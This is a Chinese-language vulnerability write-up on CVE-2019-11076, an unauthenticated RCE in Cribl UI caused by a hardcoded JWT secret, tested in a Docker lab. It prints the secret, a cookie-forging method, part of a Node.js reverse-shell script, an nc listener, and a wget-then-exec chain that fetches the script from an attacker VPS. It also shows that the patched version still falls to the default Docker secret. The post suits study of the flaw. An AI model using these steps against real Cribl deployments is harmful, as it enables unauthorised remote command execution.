前言
每天一小步,进步一大步。CVE-2019-11076 Cribl UI 1.5.0未授权命令执行漏洞分析
背景
1 | 已在Cribl v1.5.0上进行了测试-先前版本未经过测试,但可能容易受到攻击。 |
环境搭建
根据作者的描述,该问题在1.5.0上被验证存在,之前的版本不排除有该问题,但作者尚未验证,因此这里使用1.4.3的环境进行测试:
1 | # pull docker |
然后访问 9000 端口,可以看到如下页面,使用 admin/admin 即可登录:
漏洞测试
根据作者的描述,该漏洞属于任意命令执行的漏洞,但由于没有回显,需要通过反弹 shell 的方式获得可以交互的命令行。考虑到 cribl 本身具有 nodejs 环境,因此可以考虑结合 nodejs 的反弹 shell 脚本进行攻击。
因此,漏洞的利用思路如下:
1.使用 wget 或其他方式将反弹 shell 的脚本写入受影响的环境
2.利用 nodejs 执行该脚本,反弹 shell
第一步,先在自己的 vps 上部署 nodejs 的反弹 shell 脚本(这里需要将YOUR_REMOTE_IP_OR_FQDN
替换为具体的地址或域名):
1 | var net = require("net"), sh = require("child_process").exec("/bin/sh"); |
然后准备好监听6669端口
1 | nc -lvp 6669 |
下一步就是使用任意命令执行的漏洞,先利用wget下载反弹shell的脚本:
1 | # wget |
1 | # exec wget |
1 | # nodejs |
1 | # exec nodejs |
成功反弹 shell:
PS:原作者 poc 中有一个很奇怪的地方,第二次未授权访问的时候使用了一个错误的 Cookie…
漏洞分析
下面来看继续分析这个漏洞的成因,可以看到任意命令执行是该应用自带的功能。访问http://192.168.220.154:9000/settings/scripts
可以看到之前 poc 所生成的两项:
如果我们使用授权的admin/admin
账号,可以直接增加并执行命令:
所以该漏洞的主要问题在于未授权,即未登陆的状态下也可以利用伪造的 JWT token进行任意命令执行。
下面结合源码来分析漏洞所在。可以看到文件夹结构如下:
结合docker
的entrypoint.sh
:
1 |
|
以及start.sh
:
1 |
|
可以看到最核心的代码为cribl.bundle.js
,进入分析:
可以很明显看到该代码是由webpack
之类工具打包生成的了。。第一眼看上去一头雾水那么就需要结合一定的技巧进行分析,可以搜索关键词cribl_auth
,因为Cookie中的cribl_auth
字段即JWT token
,定位到下图的关键代码:
美化之后如下:
1 | var f = "d2hvIGxldCB0aGUgZG9ncyBvdXQ="; |
可以看到逻辑非常简单,只要jwt token解码成功即可通过验证,而且无需如admin之类的特定用户名。结合作者的描述,可以认为只要还是硬编码的secret d2hvIGxldCB0aGUgZG9ncyBvdXQ=
增大了伪造的可能性降低了程序的安全性。
下面我们看看这个secret:
1 | echo "d2hvIGxldCB0aGUgZG9ncyBvdXQ=" | base64 -d |
最后我们来看看开发者使用了那个库来生成jwt token的搜索JWT关键字:
在搜索的时候我们可以看到下面的关键字也是非常重要的。
1 | var a={HS256:"hmac",HS384:"hmac",HS512:"hmac",RS256:"sign"}; |
可以看到诸如版本信息,报错信息等关键字符串,结合上述信息进行搜索,可以搜到:
https://github.com/hokaccha/node-jwt-simple
下面我们来验证一下:
1 | const jwt = require('jwt-simple'); |
可以看到和poc的原作者所使用的cookie是一样的:
1 | $ node ./Test.js |
修复
让我们看看后续版本是如何修复的,老规矩,使用 v1.5.1 版本的 image,映射到 9001 端口:
1 | # pull docker |
可以看到之前的 exp 已经不能生效了:
1 | curl 'http://192.168.220.154:9001/api/v1/system/scripts' \ |
跟进源码,查看 v1.5.1 对程序进行了何种修改:
1 | var p = 4 * 3600; |
可以看到关键的secret
不再硬编码,改成了从/opt/local/cribl/auth/cribl.secret
该文件中进行读取。
那么考虑到使用docker
中自带的密钥,是否可以伪造 cookie?
1 | var jwt = require('jwt-simple'); |
实验成功了。。只能说如果开发者在生产环境中不换默认的 secret 最后还是会翻车,照样未授权 RCE。
1 | curl 'http://192.168.220.154:9001/api/v1/system/scripts' \ |